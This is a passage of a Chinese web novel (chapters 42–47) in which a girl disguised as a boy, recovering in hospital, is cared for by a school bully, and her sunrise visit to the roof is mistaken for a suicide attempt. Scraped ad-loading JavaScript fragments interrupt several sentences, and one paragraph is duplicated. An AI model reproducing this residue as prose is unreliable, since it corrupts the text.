霍毅抬眸给了他一个眼神,“嗯,明天出院,早上来我家集合。” 辰东是个爱凑热闹的性子,这热闹还是自己有份的,他忙又转过头来,语气都带着点兴奋,不知道还以为是去接亲,而不是去医院接病人出院。 “那我们是不是要准备束 花庆祝出院,哥,你觉得要送什么花?康乃馨,百合,向日葵还是扶郎花,也不知道那小子喜欢什么花?” 他用手肘碰了碰霍毅横在桌上的小臂,“哥,你说要是咱们明天都没去医院,白承继那小子没见到我们,会不会很失落,甚至委屈的偷偷躲起来抹眼泪。” 在这件事发生前,辰东对白承继的印象,可以说是四人中最差的,甚至将不喜表现在明面上,还会时不时催促着霍毅赶紧将人赶走。 没办法,辰东是他们四人中,最先知道白承继是个爱哭的,像他这样的爷们,哪里瞧得上怯懦爱哭的男孩子。 原主爱哭这是没办法改变的事实,可是她一直都是晚上躲在被窝里悄悄的哭。 为数不多的几次,在学校里受了委屈,身体渐渐发育,胸部时不时的胀痛,各种负面情绪被无限放大,她实在没忍住,偷偷跑去学校天台大哭发泄。 就是那么的巧,每次辰东都在天台上。 第42章 校霸和他的女扮男装小跟班(16) 这个年纪的男孩子,特别是像辰东这种糙汉类型的,光想想一个男孩子哭的画面都能起鸡皮疙瘩,更遑论还是让他亲眼…… 呃,当时觉得辣眼睛,隐匿在暗处的他没偷看,就只是听了哭声,娘们唧唧的,一次两次三次的,直接让他产生各种心理不适。 当然看不惯是一回事,他也不会去欺负人,要不是这人像块粘皮糖沾着他兄弟,两人就算在一个学校一个班级也根本不会有什么交集的。 就是这么一个人,却做了大部分人没勇气做的事,那种震撼的感觉,辰东到现在都还记忆犹新。 脑中浮现起小孩抱着他哭的画面,霍毅皱眉,“别乱开玩笑,还有上课了,赶紧坐回去。” 昨天自己只是出去拿个冰袋,小孩就以为自己不要他了,哭得那叫一个伤心。 这段时间接触下来,他不是没发现,小孩似乎很没安全感,还很缺爱。 没错,就是缺爱。 白家父母是个异类,似乎有重女轻男的毛病,对这唯一的儿子很不上心,不然不会把儿子的身体养得比女儿的还单薄。 辰东说的没错,如果明天他没去,以小孩敏感的性子,肯定会胡思乱想,偷偷躲起来红眼眶的。 是的,不是他们,只是他一个。 小孩在意的就他一人,另外三个兄弟,哼,不过是死皮赖脸硬要跟着去的,小孩才不在乎他们了。 “哥,你这就护上了,有了新弟弟,就看不上我们这些老兄弟了。” 辰东啧啧摇头,给了霍毅一个看负心汉的眼神。 四兄弟里,就辰东性子最跳脱,是个活宝,更直白的说就是最头脑简单四肢发达,外加一个爱耍嘴皮子。 辰东才说完,屁股下的凳子就被人踢了下,不用想也知道是谁的杰作。 霍毅没好气的丢出一个字,“滚!” “好的,小的这就麻溜的滚。” 辰东老实了,不老实不行,老师来了。 还有他不聪明却也不傻,兄弟今天情绪明显不对劲,嗯,就像……书读得少,一时找不到形容词,不过很危险就是了。 他可不想真把人惹毛了,挨揍。 他们三个小时候全被霍毅揍过,他是被揍最惨的那个,也是因为被揍服气了,才跟着霍毅混的。 后来大了,李明义喜欢读书,一副斯文败类模样,张泽凯走艺术生的路,也是一副斯文败类模样。 霍毅没再和两人练手,而他和霍毅走一路子的,经常被拉去切磋练手,更准确的说单方面被揍。 霍毅在学校是个比较有争议的学生,会打架逃课收小弟,当然那些个小弟都是上赶争破头想跟着他的,是比较有名的校园一霸。 可是,他的成绩又不错,没有考到年级前十那么夸张,可也一直保持在年级前五十。 又有着那样傲人的家世,学校老师对他一般都是睁一眼闭一只眼,不管也不评价,因为他们发现霍毅做事挺有分寸的,不会在校园里打架斗殴,也不会欺负弱小。 今天上课,很多老师都发现了一个问题。 霍毅同学没逃课,也没睡觉,看似在认真听课,可总时不时抬手腕看时间。 老师奇怪的不是他没逃课,还规规矩矩坐着听课。 毕竟霍毅一般没逃课的话,在班级里就会做学生该做的事,偶尔在课堂上睡觉,也是老师讲的内容太催眠了。 老师奇怪的是,他一直看时间,应该有什么事,如果是其他学生,就是再急的事,那也得规规矩矩上完课,等放学。 可是霍毅他不是其他学生,如果真有啥事,他完全可以逃课离开的。 老师们还挺了解霍毅的,他心里一直记挂着小孩脚上的伤,还有手掌心擦破皮的伤,是不严重,不过白天应该也要重新抹药。 霍毅很想逃课去医院,可是想到自己现在是小孩哥了,当哥的似乎该有个当哥的样。 逃课不好,还可能带坏小孩。 所以他给小孩发信息,提醒他记得喊医生过来处理手上的伤。 至于膝盖的伤,想到医生看到小孩那双比女孩子还漂亮的小腿时会露出的眼神,霍毅心里就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 十分不舒服。 所以,膝盖的伤还是等他过去后再亲自为小孩处理吧。 一放学,霍毅是第一个出教室的。 辰东他们赶紧随便收下东西追出去。 “哥,等等我们。” 霍毅头也没回道:“你们今天也别跟我来,医院那边我自己去就行。” 差一步就追上的辰东:“……” 落后辰东几步的张泽凯:“……” 刚背着书包出教室的李明义:“……” 三人聚在一起,就此事开始延伸,展开了长达半个小时讨论,不过这些都和话题中心霍毅同学没关系。 霍毅同学下午上到第二节课时,再次心焦一天时间怎么过得如此慢。 后来他妈发信息问今天还要让厨房准备甜品吗? 昨天晚上回去他也没反馈下甜品合口味吗?人喜欢吃吗? 霍毅让他妈今天也要准备甜品,然后把他的晚饭一起打包,他今晚准备到医院再一起吃。 回 家吃完再去医院太浪费时间了。 所以啊,辰东他们想跟着一起来,人太多一起吃饭,小孩肯定会拘谨,吃得不自在。 再说了,他也没交待他妈准备他们三人的饭。 去医院的路上,车子路过一家花店,霍毅想起辰东提到买花的事。 别人出院有的,他家小孩也要有。 让司机在花店前停车,霍毅下车亲自挑选再加上花店老板娘的建议,订好了花束,约好明天早上十点来取。 霍毅今天比往日早半个多小时到,落日还有余晖。 “哥,你来了。” 见到进来的人是霍毅,白幺幺先是眼神一亮,而后想到什么,低了低头,神色有些不自然起来。 昨天晚上抱着人哭,后来迷迷糊糊就睡了。 醒来后,每每回想起昨晚的画面,她就懊恼得要死,男孩子哭哭啼啼的会被人讨厌的吧! 霍毅并没有发现她的异样,将饭菜一一打开摆好,就招呼人快过来吃饭。 第43章 校霸和他的女扮男装小跟班(17) 白幺幺慢慢挪移的走过去,这具身体太娇气了,当然膝盖也的确伤的很重,走路动作大点就会痛。 她才走两小步,就被人拦腰抱起。 白幺幺惯性的伸手环住霍毅的脖子,防止自己摔了。 “哥,你……” 白幺幺想问为什么要抱她,不等她问,霍毅已经先给出答案。 “你是不是傻,脚疼不会喊人帮忙,干嘛自己走。” 白幺幺:“……” 又吃炸药了? 男主不会以后都这样了吧,之前那个话少,虽不温柔但体贴的样子要一去不复返了吗? 白幺幺小声辩解,“我不傻的,一直都是年级前几,还有白天上厕所的时候,我也是自己走,只要注意点,步子放小点,不震到膝盖就不会痛。” 轻轻的将人放到椅子上,霍毅在对面坐下后才说:“白天,让你自己走,那是因为我不在你身边,现在有我在,你觉得我可能看着你这样吗?” 白幺幺很想点头,说为什么不可能。 她佯装低头想逃避,又觉得这样说话很没礼貌,忙抬头,眼尾红红的,有些没底气的嘟囔,“我是男孩子,才没那么娇气,不就是一点疼,我受得住的。” 霍毅很想朝小孩嗤一声,不娇气?受得住疼?真是这样吗?! “嗯,吃饭。” 霍少爷已经开始学会照顾人情绪。 白幺幺:……嗯,是几个意思! 有脾气的白幺幺上线,闷头吃饭,没再找话题和霍毅聊。 霍毅是谁,哪里没察觉到小孩的小情绪,嘴角微微翘起一个弧度,心情莫名的好。 很快吃完,他并没有起身去做其他的,就静静坐着看对方吃。 全身上下瞧着没几两肉,脸颊倒是没那么显瘦,有点小肉感,咀嚼时腮帮子鼓鼓的,跟只小仓鼠似的,让人心痒痒很想伸手指戳戳。 落在身上的视线越来越灼热,一点移开的迹象都没有,白幺幺不自在的抬头,茫然的眼神里带着疑问。 盯着人看被抓包,霍毅坦然对视,心中陡然生出逗弄心思。 “你嘴上有饭粒!” “是…是吗?” 脸倏地一下红了,白幺幺又羞又窘的伸手在嘴巴四周摸索一番,想赶紧将饭粒弄下来。 上下左右都摸了一遍,哪里有饭粒的踪影,白幺幺并没有怀疑霍毅,只以为应该是被自己碰掉到哪里去了。 “哥,饭粒还在吗?” 她下意识的仰了仰下巴,方便对方看清楚点。 怎么这么好骗! 瞧着对他全然信任的人,霍毅竟一点没戏弄人的负罪感,他手指不受控的做了刚刚就想做的动作。 左边脸颊被不算粗糙的指腹轻轻刮了下,不痛,痒痒的,白幺幺不明所以的歪了歪头。 霍毅坦然的将指腹朝上,一颗小小的饭粒赫然在上面。 白幺幺下意识的想,应该是自己刚刚没摸到饭粒,还不小把饭粒推到脸颊上了。 “谢谢,哥。” 白幺幺佯装淡定,这种时候只要你不觉得尴尬,尴尬的就是就是别人。 “不用谢。” 指腹残留的滑腻触感让霍毅想做点什么,等反应过来时,他已经伸舌头将手指上的饭粒卷入口中,同时舌尖在触碰过小孩皮肤的指腹上轻轻舔过。 霍毅的这个动作直接震惊了白幺幺,她不可思议的瞪大眼睛,“哥…哥…你……你……你” 吃了! 竟然吃了!! 那可是从她脸上拿来下来的,说真的,连她自己都嫌弃好不。 做了都做,霍毅不会去过多纠结自己行为,他就是有凡事随心而为的底气。 没理会白幺幺的大惊小怪,霍毅像是做了件稀松平常的小事般坦然道:“浪费粮食不好。” 白幺幺:“???” 这是浪不浪费粮食的问题吗?! “是,是这样吗?哥你觉悟真高!” 白幺幺脑中冒出了个大胆的想法,男主不会弯了吧。 的确,从古至今,救命之恩最能让人萌生爱意。 不是很多小说,男主对女主偏执爱意都是始于女主曾救过他,然后这种小说经常还附带了男主一开始先是认错了救命恩人,后面经历误会等一系列虐恋最后情深在一起。 原主可不止救了男主那么简单,还是舍命去救的,男主是个情感小白,按照小说套路,似乎也不是不可能。 这种现代社会,人们思想觉悟更高,提倡真正爱情是不分国界,不分种族,不分年龄,不分性别的。 “在想什么?” 霍毅皱眉,不满小孩和他在一起还出神想其他。 “在想一个人因为救命之恩爱上救命恩人的几率……” 不经思考的话脱口而出,白幺幺想死的心都有了。 她在干嘛? 两个男孩子讨论这种话题,关键两人还刚好存在这种关系。 要是人家根本没弯,是自己想歪了,那现在对方会怎么想,会不会被觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得她在意有所指什么,然后被恶心到。 白幺幺像是犯了错等待老师家长批评教育的孩子,低着头 ,不安地绞着手指,声音已经夹杂着细碎哭腔了。 “哥,你,我不是那个意思,你别误会。” 霍毅之于原主来说,是人生中的光,是天上月,好像近在咫尺,却又遥不可及。 跟在霍毅身边,原主比谁都知道他有多受女孩子喜欢,原主即使自己也是女孩子,却从来没敢对霍毅起那样的心思。 哪怕是偷偷的,不让人察觉到也不敢,或许在原主内心深处,像她这样的人的喜欢是对霍毅的亵渎吧。 “我能误会什么,别乱想,快吃饭,不然都凉了。” 霍毅不知道什么时候来到白幺幺身边,用手揉了揉她软柔的发顶。 “哦,哦,我马上吃。” 看到霍毅神色没变,白幺幺高高悬起的心慢慢落下,只是吃饭的时候明显心不在焉,时不时要偷看下霍毅,观察他的神色变化。 自以为做得很隐秘的动作,其实全部被霍毅收入眼中。 不过霍毅淡然自若的玩着手机,一副浑然不觉的模样。 只是见面的短短不到半个小时时间,霍毅已经想明白了一些事。 霍家男儿从来不是遇事退缩,瞻前顾后的人。 ,不安地绞着手指,声音已经夹杂着细碎哭腔了。 “哥,你,我不是那个意思,你别误会。” 霍毅之于原主来说,是人生中的光,是天上月,好像近在咫尺,却又遥不可及。 跟在霍毅身边,原主比谁都知道他有多受女孩子喜欢,原主即使自己也是女孩子,却从来没敢对霍毅起那样的心思。 哪怕是偷偷的,不让人察觉到也不敢,或许在原主内心深处,像她这样的人的喜欢是对霍毅的亵渎吧。 “我能误会什么,别乱想,快吃饭,不然都凉了。” 霍毅不知道什么时候来到白幺幺身边,用手揉了揉她软柔的发顶。 “哦,哦,我马上吃。” 看到霍毅神色没变,白幺幺高高悬起的心慢慢落下,只是吃饭的时候明显心不在焉,时不时要偷看下霍毅,观察他的神色变化。 自以为做得很隐秘的动作,其实全部被霍毅收入眼中。 不过霍毅淡然自若的玩着手机,一副浑然不觉的模样。 只是见面的短短不到半个小时时间,霍毅已经想明白了一些事。 霍家男儿从来不是遇事退缩,瞻前顾后的人。 第44章 校霸和他的女扮男装小跟班(18) 心里装着事,就连吃着喜欢的甜品,白幺幺都心不在焉的。 当然,那种有心事就没胃口吃不下的,绝对不是她的人设,她就一个宗旨,无论何时何地何事,都不能和吃的过不去。 霍毅去准备热敷的东西,回来白幺幺已经吃完了。 他走过去轻车熟路的将人抱到床上,“我现在给你膝盖做热敷。” 白幺幺:……又抱她了,她现在是男孩子,被这样抱来抱去的不要面子哈! “谢谢哥。” 白幺幺弯腰就要去卷起裤腿,刚要触碰到布料的手被另一只大手扣住了,她抬头不解的看向手主人。 “你坐好,我来就行。” 压下想要摩挲包在掌心中的凝霜皓腕的冲动,霍毅缓缓松开手,开始帮白幺幺卷起裤腿。 有人上赶着伺候,白幺幺乐意之至,不过面上难为情的表情还是要做到位。 经过一晚的沉淀,膝盖上的淤青颜色越发深了,霍毅选得毛巾质地很柔软,水温也是他试过了的。 太烫,怕小孩娇气受不了,不够烫,担心影响热敷的效果。 将拧好冒着热气的毛巾快速折成长方块,他先是用一个角轻轻触碰小孩的皮肤,抬眸问道:“会不会太烫?” 这种被小心翼翼对待的感觉,白幺幺心中莫名涌起一阵酸涩,她轻轻摇头,“不会的,哥,温度刚刚好。” 霍毅这才轻轻地将毛巾完完全全附在白幺幺膝盖上,然后转身去拧另外一块毛巾给她热敷另一只脚的膝盖。 病房里很安静,白幺幺随手拿起生物课本看起来,以缓解莫名的不自在和尴尬。 好死不死的,白幺幺翻开了的页面是关于胚胎工程的相关课程。 什么精子卵子的发生,什么受精…… 明明是很正经的知识,可白幺幺就是有种自己不小心窥见了什么不正经内容,生怕被人当场抓包,脸也泛起可疑红晕。 她故作镇定的合上书,很自然的重新换一本,这回她有选择的拿了地理书。 上个世界,秉着贪多爵不烂,她全心钻研医学,学完中医,学西医,一辈子时间太短,医学要学的东西又太多,就是再多给她几辈子,也不见得能把世界上所有医学知识掌握。 而对世界格局,宇宙,星系等她就只有个模糊概念,现在成了个高中生,后面会参加高考,上大学,这回有足够的时间让她好好考虑大学要学什么。 目前她拥有的医学知识和技能已经暂时够用了,这辈子她不打算继续深入钻研医学。 十五分钟后,霍毅取走湿毛巾,重新拿了块干毛巾在小孩膝盖上擦了擦,才轻轻放下裤腿。 “好了,明天要出院,你看书别看太晚,早点休息,我回去了。” “嗯嗯,哥,你回去也早点休息。” 白幺幺乖巧的目送少年离开,等人走后,她立马放下书本,双手用力揉搓了下自己的脸。 少年的温柔太容易让人不知不觉沉浸其中,想入非非了。 不知道是不是昨晚九点多就睡了,早上还没五点半,白幺幺就醒来了。 外面还是一片昏暗暗的,太阳还没升起来。 心血来潮的,白幺幺想看日出了。 心动就行动,她披了件外套,出了病房往顶楼走去。 昨晚热敷效果很好,今天走路膝盖不怎么会痛了。 不在山巅,不在海边,而是在十七层高楼楼顶,观赏日出真是别有一番风味。 楼顶的风很大,被吹得一个激灵打了个寒颤,她把敞开的外套拉链拉上,等了一会儿才适应楼顶的温度。 白幺幺轻松跃坐到天台上,足够的高,前方视野也很宽阔。 晨曦破晓前的城市很美,白幺幺已经慢慢爱上这些钢筋水泥建筑。 如果手边有一坛子酒就更美哉了,江湖儿女登高饮酒,岂不快哉。 白幺幺想起上辈子学的一首歌,清清嗓子开始低声哼唱起来。 “大河向东流啊,天上的星星参北斗,咳咳参北斗哇……路见不平一声吼啊,该出手时就出手啊,风风火火闯九州啊……” 白幺幺这边尽情的放开喉咙高歌,楼下的已经乱了。 一个趁着病人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还在睡,准备回去洗漱下顺便煮个早餐过来的家属大妈出了住院部大楼,不经意抬头,以为自己眼花了,忙揉了揉眼睛再看,确认顶楼天台上坐着个人。 这个大妈被吓得大喊起来,“我滴娘为,有人要跳楼!” 爱看热闹是国人的天性,大妈一喊,这个点在住院楼外活动的人都还没听清说的是什么,注意力就被吸引过来了。 等知道是有人要跳楼这种劲爆消息,很快喊人的喊人,打电话报警的报警,打消防电话的打消防电话,当然少不了打急救电话的。 打急救电话的人一时都忘了自己现在就处在医院里,楼下的人越聚越多。 一群本不认识的人,左搭一句,右回一句,聊的是那么的投机,一会儿摇头,一会儿叹息,总结就是不管遇到多大的事,好死不如赖活着,没有过不去的坎。 在医院这种地方跳楼,大家下意识猜到的原因无非三种,不是贫穷就是绝 症,最后一种就是贫穷加绝症齐上。 医院那边的动作很快,分两路,一部分人先上顶楼,另一部分去查监控,看能不能先确认要跳楼的人的身份。 医院领导带着两名保安和几个瞧着就机灵的值班医生来到顶楼门口时,手机响了。 楼下查监控的人已经确认天台上人的身份了,就是因为确认了身份,事情才有些难办。 负责先上顶楼安抚人的医院领导听到白承继这个名字时,明明是风吹在胳膊上都能起鸡皮疙瘩的温度,他额头却沁出汗来了。 医院领导示意身后的人先过去将人拖住,能把人劝下来那简直皆大欢喜,他则是去给院长打电话,事情太大条了,他处理不来。 一回生,二回熟,又做了那样的梦,这回霍毅没再惊醒过来。 受生物钟影响,五点半左右他才悠悠转醒。 他没有赖床的习惯,醒来就起床去洗漱,等他洗漱完,准备去晨跑锻炼时,手机响了。 扫了眼,不是陌生号码,医院打来的。 他没有犹豫的接起来,然后听清对方说了什么,神色剧变,手机差点从手中滑落。 第45章 校霸和他的女扮男装小跟班(19) 慷慨激昂的唱完一首好汉歌,白幺幺眉眼都染上笑意,心里舒畅极了, 此刻的她并不知道自己心血来潮跑顶楼来看日出的行为已经引起多大的误会,造成多大的轰动,该被惊动,不该被惊动的人都被惊动了。 听到脚步声,白幺幺回头,心想着来的不会是同道中人,也是上来看日出的吧! 白幺幺只扫了上来的几人一眼就收回视线,在他正要转过头时,几人中年纪最大的白大褂医生说话了。 “那个,白同学,你最近是有什么烦心事吗?要不你先下来,我们找个地方谈谈心。” 白幺幺:认识她的?烦心事?这些人知道什么?不过这套近乎的话还真是…… 白幺幺茫然摇头,“叔叔,我不认识你,你们去那边吧!” 白幺幺的言外之意就是,咱们不熟,哪边凉快哪边待着,别影响她看日出。 医院这边的工作人员相互对视,短暂无声交谈,很聪明的解读了白幺幺的话。 不认识他们,意思就是想谈可以,要找他认识的,还有人让他们去那边,不就是在变相警告他们不许靠近,只是目前情绪还算稳定,没失控的威胁他们不许靠近。 担心他们一个不配合,把人情绪激起来行为失控,那个白大褂医生温声道:“好的,白同学,我们会和你保持一定距离,不靠近你的,还有已经去联系你的家人及同学朋友,到时让他们和你谈谈。” 白幺幺:“???” 连她的家人同学朋友都搬出来了,这些人图谋不小呀! 只是,她身上有什么好图谋的,或者说她身上目前最有价值的应该就是霍毅那个救命之恩了。 把她身上器官全卖了,都抵不上这个救命之恩的百分之一珍贵。 可,恩情这种无形的东西,他们就算是眼馋心热,也图谋不走呀。 这时天边冒出一点红,太阳要升起来了,白幺幺兴奋地晃了晃小脚。 这可把楼下的人吓得够呛,生怕人一个没坐稳,就让他们亲眼见证一个人从十七楼掉下来的惨烈画面。 不远处的医院人员想说什么,又怕他们贸然再出声反而惊扰到人。 他们并不是专业的谈判人员,目前人的情绪还算稳定,如果因为他们不当操作反而让事态往严重方向发展,那后果他们可承担不起。 毕竟,他们多多少少可是知道天台上坐着的少年的身份。 天边橙红色的地方越来越大,太阳就像是个娇羞的蒙面美娇娘,含羞带怯的缓慢揭开面纱,很快大半个天边都染上了橘红色,美得像一幅画。 白幺幺这边观赏着日出美景,心情美美哒,霍毅已经快急死了,全身仿佛置身冰窖中,脸上表情让人看不出情绪,要不是握着手机的手微不可察颤动着,都要以为他此时足够冷静。 明明昨晚离开时小孩还乖乖软软的和他道别,今天是小孩要出院的日子,他还订好了花要去接人出院。 怎么睡一觉的功夫,醒来后,跳楼、自杀这些不好的字眼就和小孩扯上了关系。 接到电话的第一瞬间,霍毅心慌的差点失去理智,顾不得喊司机,自己拿着钥匙就要去开车。 还是出门时和她妈的生活助理撞上,对方见他脸色不对,还要自己开车出去,忙上前劝说,并上了驾驶室,说她来开。 在车上,霍毅连续打了好几通都没人接听,他不知道的是白幺幺根本没把手机带身上。 车子速度已经很快了,霍毅心里很着急,出声促催了好几次再快点。 一路上,霍毅脑中很乱,明明昨晚离开时,小孩的心情还是不错的,情绪也没任何不对劲。 要说小孩演技了得,伪装得很好,连他都骗过去,霍毅是打死都不会信的。 那么好懂的人儿,全心全意信任依赖他的人儿,他身边再也找不到第二个了。 所以是他离开后发生了什么吗? 有人联系或者去找过小孩。 还是…… 黑沉沉的眸子中风暴翻涌,霍毅压下想砸东西冲动,神色陡然阴鸷得可怕。 是他昨天没控 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 制住,不经意间流露出什么,让小孩敏感的察觉出了什么吗? 相较于别人的情不知所起,他对自己的情之所起可是门儿清。 既然为了他连命都可以不要,那么现在这条命就是他的了,不管是谁,哪怕是小孩子自己也做不了主了。 听到手机响了,霍毅忙接起来。 没听到期待的声音,电话是李明义打来的。 不然怎么说好事不出门,恶事传千里,白承继在医院顶楼闹自杀的事,学校的一些老师同学也知道了,李明义就是其中之一。 李明义一大早接到班主任电话时,还以为今天是愚人节,班主任也赶时髦过起这洋节来。 因为无论如何,白承继都不像是会自杀的人,特别是现在,遇到任何自己解决不了的事,不都还有霍毅兜底。 “哥,什么情况?” “我也不知道,现在正往医院赶。” 李明义知道霍毅现在没心情说太多,只是叮嘱对方路上注意安全,他也在去医院的路上,到了见面再说。 辰东和张泽凯是李明义打电话通知的,张泽凯听到后,沉默没说什么,不知是被消息震惊到,还是真不知道要说什么。 倒是辰东当场在电话里骂了句卧槽,就匆匆挂了电话,他脑中下意识想起自己撞见那小子好几次躲在学校实验楼天台上哭的事。 或许不是无缘无故突然就要闹自杀的,之前不就已经有苗头了。 这小子不是一直黏在哥屁股后面,应该没谁有胆子欺负他的。 “艹!” 辰东烦躁的抓了抓头发,给霍毅拨去电话。 “说。” 越靠近医院,霍毅越发觉得心慌,他现在没心情应付任何人,却又不得不接电话,怕错过重要的电话和消息。 他其实已经失了冷静,却又要让自己强行保持冷静。 咬咬牙,辰东豁出去道:“哥,我或许知道白承继为什么要……” 霍毅不想听到跳楼自杀这几个字,打断道:“说重点。” 第46章 校霸和他的女扮男装小跟班(20) “那个,哥,我之前在学校撞见过好几次白承继偷偷躲在实验楼天台哭,应该是学校有人霸……” 辰东想说霸凌来着,可是隔着电话他都能感觉到对面的低气压,话到嘴边改了口,“欺负他。” 眸中的风暴化为实质,霍毅一掌重重拍在前方驾驶座上,司机被吓了一跳,手按到车喇叭上,也幸好她反应够快。 刺耳车鸣声响起,声音穿透手机传到辰东耳中,把他吓了一大跳。 霍毅的车突然鸣笛,搞得周遭车的司机觉得莫名其妙,而他前方的车以为是冲着他按喇叭的,遂在车上骂骂咧咧起来。 只是通过后视镜看清霍毅驾驶的车的车牌与车标,嘀咕了句“有钱了不起啊”,就讪讪闭嘴了,甚至还不情不愿的变道,给霍毅的车让开路。 “这个后面再说。” 留下这么句话,霍毅就挂断电话了。 副院长就住在医院旁边,他来得比院长还快。 他一路上是半跑半走着过来的,没办法,上年纪的人身体素质就这样,体力有限。 到了地方,他还是累得气喘吁吁的。 可还不等他气喘匀了,就见原本坐在天台上的人动了,缓缓站起身来,改坐为站,此等画面的冲击简直要把他小心脏吓得骤停。 看完日出,白幺幺起身准备回病房,今天要出院,心情莫名的好。 一转身才发现身后除了方才上来的那些人,又来了好几个人,还有一张熟面孔,医院的副院长,之前在病房里见过。 白幺幺肯定是不恐高的,看日出也是避着人上来的,以为这个点应该没人会像她一样跑上来。 就算有人上来,那也不认识她。 后来,真有人上来,这些人还表现出认识她样子,白幺幺就想着已经跑上来了,那就等她看完日出再处理。 而现在,日出也看完了,是该处理了。 副院长伸着手颤巍巍的指着白幺幺,“白,白少爷,你别动,小心点,千万别动,霍少已经快到了。” 白幺幺:“???” 霍毅这么早就要来了?! 白幺幺心中莫名的升起一种不妙的感觉。 她原本可以轻轻松松跳下落回地上的,可是现在,这么多人看着,还有个“熟人”。 白幺幺身体蓦地摇晃了下,颤颤巍巍的蹲下身来,准备费劲点慢慢爬下来。 她是这个打算的,可别人不知道呀! 副院长当即被吓得捂着胸口差点要尖叫,这个时候大家恨不得呼吸声都再小点。 视线不经意扫过楼下,52的视力让白幺幺看清楼下的情况。 咦? 楼下怎么聚集那么多人,这时消防车和霍毅的车同时驶进医院。 白幺幺没有认出霍毅的车,却认识消防车。 着火了? 白幺幺下意识的四处张望,想看看着火点在哪。 她这样不安分东张西望的动作再次把众人吓到了,有个胆大心细的中年男医生屏住呼吸开始慢慢挪动,向她靠近,想着能不能趁人不备时将人拉下来。 车子一开进医院,霍毅哪里还顾得要开去停车场,直接在人群外围停下,推开车门下车。 下车的第一时间,霍毅就抬头往上看。 白幺幺找了一圈没发现着火点,视线再次落回地面。 明明楼下那么多人,还乱糟糟的,可白幺幺的视线竟然精准捕捉到人群中的霍毅。 两人的目光相距五十米之遥不期而遇,两人短暂对视了一眼,霍毅最先移开视线,穿过人群飞奔进入住院楼。 刚刚那一眼,白幺幺心里咯噔一下,泛起不祥的预感。 不行,她要赶紧回病房。 白幺幺刚要动身爬下来,一转头。 “嚯,大叔,你,你要干嘛?” 一个穿着白大褂的医生大叔正狗狗祟祟朝她靠近,也不看看白幺幺正身处的位置,稍一不留神,小命就没了,还是那种死状极其恐怖难看的。 白幺幺能不被吓到才奇怪,再说了,她总觉得天台上聚集着这些人古古怪怪的,要不是青天白日的,她都有理由怀疑这些人是不是想谋害她,到时再伪造她是跳楼自杀的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 被抓包了,考虑到两人距离还是不够近,中年医生不敢冒然有动作,他尽量让自己表情看起来慈祥和善。 “我,我没要干嘛,真的。” 白幺幺:……当她是三岁小孩哈! 算了,先不管这些人,霍毅不知道到哪,她要赶紧先下去。 “是,是吗?” 白幺幺露出迟疑的表情,面上多了些许防备和警惕,“那医生叔叔你能不能后退几步,离我远点。” 白幺幺烦死这群突然冒出的人了,从头至尾言行表情都透着古怪。 既然不是能让她信任的人,她就不可能安心把后背暴露在这些人面前。 “这……” 中年医生迟疑了下还是往后退几步。 在众人以为场面会再次僵着时,白幺幺动了,动作有些笨拙,不过……似乎是要自己爬下来? 这? 众人:……自…自己……下来了…… 白幺幺双脚刚着地,手腕猛地被一只大掌扣住,紧接着是不容她反抗的拉扯力,身体随之撞入一道温暖的怀抱中。 熟悉的气息让白幺幺忘记了挣扎,脑袋被紧贴在宽阔的胸膛上,听着那急促有力的心跳声,她的身体渐渐放松。 虽不明白少年为何一大早就如此热情,一上来就给她个大大拥抱,但考虑到周围有一群观众在,两个男孩子一直这么抱着算什么事,白幺幺伸手扯了扯霍毅的衣服。 “哥,你快松开我,旁边还有人了。” 霍毅并没有放开,像在压抑着什么的低沉声音在白幺幺耳边响起。 “为什么要自……想不开?” 白幺幺:“?!!!” 啥,想不开? 是她理解的那个意思吗!! 苍天啊,大地啊,她有想不开吗? 不是,她怎么可能想不开,选择的还是跳楼这种死法。 楼下聚集的一群人,来的消防车,急匆匆赶过来的霍毅,还有副院长这群人古怪的言行。 难怪了,原来是以为她要跳楼自杀啊! 第47章 校霸和他的女扮男装小跟班(21) 是谁,到底是谁引发的这场乌龙。 白幺幺脑壳疼,这事闹的她一时都不知道作何反应了。 她知道这种时候不能没长嘴,必须第一时间解释。 可是就在她想说自己没有要跳楼自杀,她就是想上来看看日出而已时。 垂在身侧的手臂被人捏住,然后她被人顺势从少年怀中扯出来。 如果是其他人,霍毅肯定不可能让人得逞的。 “逆子!逆子!你个逆子!” 白父双眼布满红血丝,疲倦的面容上全是怒色,应该是真被气狠了,说话时唾沫乱飞,隐隐夹杂着不好闻的酒气。 昨晚应酬到半夜,回到家洗漱下,才睡几个小时就被电话吵醒。 是医院来的电话,说他儿子正在医院住院楼顶楼闹自杀,让他们赶紧过来,白父当场被吓清醒了。 儿子虽然越长越让他不满意,甚至有了把公司传给女儿的想法,但并不能说他完全不爱这个儿子,毕竟他就这么一个儿子。 忙摇醒旁边还在睡的白母,说了下情况,赶紧下床套上衣服就要往医院赶。 白母听到儿子在医院要跳楼自杀,脑中一阵空白,要不是白父看她一直不动,过来摇了摇,心慌语急的催道:“还愣着干嘛,再晚点儿子要是有个三长两短,我们……” 后面的话白父说不下去了,声音发着颤,拿手机的手也在轻颤着。 “哦,哦,好……” 如果说白父接到儿子要自杀的消息是心慌的,是气愤的,是莫名其妙的。 那白母则像是打翻了调味瓶,各种滋味交织像狂涌的巨浪冲击着她内心。 等她回神时,脸上不知不觉已经被眼泪淌湿了。 “爸,妈,你们?” 白宝珠下楼来想喝杯温水,晨起喝杯温水是她的习惯,既养生还美容,平时保姆会给准备好。 不过今天她比平时起早了半小时,保姆还没给准备,她就自己下来倒。 今天她哥出院,到时他们一家人都会去医院,而她哥出院这么大的事,霍毅他们肯定也会去。 忍了那多天不去医院,今天这样的机会白宝珠怎么可能不把握住,她提早醒来,一点是因为有点兴奋睡不着,另一点则是想有更多时间打扮自己。 只是没想到爸妈也和她一样起这么早,行色匆匆的模样像是要外出,特别是她妈眼眶红红,脸上还有未擦干的泪痕。 白宝珠心里咯噔一下,想到了某种可能。 